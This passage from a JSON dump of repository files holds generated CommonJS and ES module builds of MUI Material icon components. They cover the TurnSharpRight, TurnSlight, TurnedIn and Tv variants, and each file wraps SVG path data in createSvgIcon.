    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 6.83-.88.88c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41l2.59-2.59c.39-.39 1.02-.39 1.41 0L20.3 6.3c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0L18 6.83V13c0 1.1-.9 2-2 2H8v5c0 .55-.45 1-1 1s-1-.45-1-1v-5c0-1.1.9-2 2-2h8z\"\n}), 'TurnSharpRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSharpRightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 6.83-.88.88c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41l2.59-2.59c.39-.39 1.02-.39 1.41 0L20.3 6.3c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0L18 6.83V13c0 1.1-.9 2-2 2H8v5c0 .55-.45 1-1 1s-1-.45-1-1v-5c0-1.1.9-2 2-2h8z\"\n}), 'TurnSharpRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSharpRightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 6.83 1.59 1.58L21 7l-4-4-4 4 1.41 1.41L16 6.83V13H6v8h2v-6h10z\"\n}), 'TurnSharpRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSharpRightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 6.83 1.59 1.58L21 7l-4-4-4 4 1.41 1.41L16 6.83V13H6v8h2v-6h10z\"\n}), 'TurnSharpRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSharpRightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 6.83 1.59 1.59L21 7l-4-4-4 4 1.41 1.41L16 6.83V13H8c-1.1 0-2 .9-2 2v6h2v-6h8c1.1 0 2-.9 2-2z\"\n}), 'TurnSharpRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSharpRightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 6.83 1.59 1.59L21 7l-4-4-4 4 1.41 1.41L16 6.83V13H8c-1.1 0-2 .9-2 2v6h2v-6h8c1.1 0 2-.9 2-2z\"\n}), 'TurnSharpRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSlightLeft.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.66 6V4H6v5.66h2V7.41l5 5V20h2v-7.58c0-.53-.21-1.04-.59-1.41l-5-5h2.25z\"\n}), 'TurnSlightLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSlightLeft.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.66 6V4H6v5.66h2V7.41l5 5V20h2v-7.58c0-.53-.21-1.04-.59-1.41l-5-5h2.25z\"\n}), 'TurnSlightLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSlightLeftOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.66 6V4H6v5.66h2V7.41l5 5V20h2v-7.58c0-.53-.21-1.04-.59-1.41l-5-5h2.25z\"\n}), 'TurnSlightLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSlightLeftOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.66 6V4H6v5.66h2V7.41l5 5V20h2v-7.58c0-.53-.21-1.04-.59-1.41l-5-5h2.25z\"\n}), 'TurnSlightLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSlightLeftRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.66 5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v3.66c0 .55.45 1 1 1s1-.45 1-1V7.41l5 5V19c0 .55.45 1 1 1s1-.45 1-1v-6.58c0-.53-.21-1.04-.59-1.41l-5-5h1.24c.56-.01 1.01-.46 1.01-1.01\"\n}), 'TurnSlightLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSlightLeftRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.66 5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v3.66c0 .55.45 1 1 1s1-.45 1-1V7.41l5 5V19c0 .55.45 1 1 1s1-.45 1-1v-6.58c0-.53-.21-1.04-.59-1.41l-5-5h1.24c.56-.01 1.01-.46 1.01-1.01\"\n}), 'TurnSlightLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSlightLeftSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.66 6V4H6v5.66h2V7.41l5 5V20h2v-8.41L9.41 6z\"\n}), 'TurnSlightLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSlightLeftSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.66 6V4H6v5.66h2V7.41l5 5V20h2v-8.41L9.41 6z\"\n}), 'TurnSlightLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSlightLeftTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.66 6V4H6v5.66h2V7.41l5 5V20h2v-7.58c0-.53-.21-1.04-.59-1.41l-5-5h2.25z\"\n}), 'TurnSlightLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSlightLeftTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.66 6V4H6v5.66h2V7.41l5 5V20h2v-7.58c0-.53-.21-1.04-.59-1.41l-5-5h2.25z\"\n}), 'TurnSlightLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSlightRight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.34 6V4H18v5.66h-2V7.41l-5 5V20H9v-7.58c0-.53.21-1.04.59-1.41l5-5h-2.25z\"\n}), 'TurnSlightRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSlightRight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.34 6V4H18v5.66h-2V7.41l-5 5V20H9v-7.58c0-.53.21-1.04.59-1.41l5-5h-2.25z\"\n}), 'TurnSlightRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSlightRightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.34 6V4H18v5.66h-2V7.41l-5 5V20H9v-7.58c0-.53.21-1.04.59-1.41l5-5h-2.25z\"\n}), 'TurnSlightRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSlightRightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.34 6V4H18v5.66h-2V7.41l-5 5V20H9v-7.58c0-.53.21-1.04.59-1.41l5-5h-2.25z\"\n}), 'TurnSlightRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSlightRightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.34 5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1v3.66c0 .55-.45 1-1 1s-1-.45-1-1V7.41l-5 5V19c0 .55-.45 1-1 1s-1-.45-1-1v-6.58c0-.53.21-1.04.59-1.41l5-5h-1.24C12.79 6 12.34 5.55 12.34 5\"\n}), 'TurnSlightRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSlightRightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.34 5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1v3.66c0 .55-.45 1-1 1s-1-.45-1-1V7.41l-5 5V19c0 .55-.45 1-1 1s-1-.45-1-1v-6.58c0-.53.21-1.04.59-1.41l5-5h-1.24C12.79 6 12.34 5.55 12.34 5\"\n}), 'TurnSlightRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSlightRightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.34 6V4H18v5.66h-2V7.41l-5 5V20H9v-8.41L14.59 6z\"\n}), 'TurnSlightRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSlightRightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.34 6V4H18v5.66h-2V7.41l-5 5V20H9v-8.41L14.59 6z\"\n}), 'TurnSlightRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSlightRightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.34 6V4H18v5.66h-2V7.41l-5 5V20H9v-7.58c0-.53.21-1.04.59-1.41l5-5h-2.25z\"\n}), 'TurnSlightRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSlightRightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.34 6V4H18v5.66h-2V7.41l-5 5V20H9v-7.58c0-.53.21-1.04.59-1.41l5-5h-2.25z\"\n}), 'TurnSlightRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnedIn.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2\"\n}), 'TurnedIn');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnedIn.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2\"\n}), 'TurnedIn');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnedInNot.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2m0 15-5-2.18L7 18V5h10z\"\n}), 'TurnedInNot');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnedInNot.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2m0 15-5-2.18L7 18V5h10z\"\n}), 'TurnedInNot');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnedInNotOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2m0 15-5-2.18L7 18V5h10z\"\n}), 'TurnedInNotOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnedInNotOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2m0 15-5-2.18L7 18V5h10z\"\n}), 'TurnedInNotOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnedInNotRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2m0 15-5-2.18L7 18V6c0-.55.45-1 1-1h8c.55 0 1 .45 1 1z\"\n}), 'TurnedInNotRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnedInNotRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2m0 15-5-2.18L7 18V6c0-.55.45-1 1-1h8c.55 0 1 .45 1 1z\"\n}), 'TurnedInNotRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnedInNotSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5.01L5 21l7-3 7 3zm-2 15-5-2.18L7 18V5h10z\"\n}), 'TurnedInNotSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnedInNotSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5.01L5 21l7-3 7 3zm-2 15-5-2.18L7 18V5h10z\"\n}), 'TurnedInNotSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnedInNotTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2m0 15-5-2.18L7 18V5h10z\"\n}), 'TurnedInNotTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnedInNotTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2m0 15-5-2.18L7 18V5h10z\"\n}), 'TurnedInNotTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnedInOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2\"\n}), 'TurnedInOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnedInOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2\"\n}), 'TurnedInOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnedInRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2\"\n}), 'TurnedInRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnedInRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2\"\n}), 'TurnedInRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnedInSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5v18l7-3 7 3z\"\n}), 'TurnedInSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnedInSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5v18l7-3 7 3z\"\n}), 'TurnedInSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnedInTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2m0 14.97-4.21-1.81-.79-.34-.79.34L7 17.97V5h10z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m7 17.97 4.21-1.81.79-.34.79.34L17 17.97V5H7z\",\n  opacity: \".3\"\n}, \"1\")], 'TurnedInTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnedInTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2m0 14.97-4.21-1.81-.79-.34-.79.34L7 17.97V5h10z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m7 17.97 4.21-1.81.79-.34.79.34L17 17.97V5H7z\",\n  opacity: \".3\"\n}, \"1\")], 'TurnedInTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tv.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.1-.9-2-2-2m0 14H3V5h18z\"\n}), 'Tv');"
  },
  {
